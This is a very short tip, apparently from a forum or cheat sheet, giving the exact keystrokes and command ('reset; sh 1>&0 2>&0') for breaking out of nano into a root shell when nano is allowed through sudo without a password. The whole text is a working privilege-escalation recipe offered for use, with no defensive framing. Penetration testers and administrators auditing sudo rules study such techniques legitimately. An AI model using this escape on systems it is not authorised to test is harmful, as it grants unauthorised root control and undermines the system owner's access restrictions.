If nano can be run with NOPASSWD via sudo, then you can use the following to break out into a root shell:

  1. CTRL+R (read file)
  2. CTRL+X (execute file)
  3. reset; sh 1>&0 2>&0

Boom!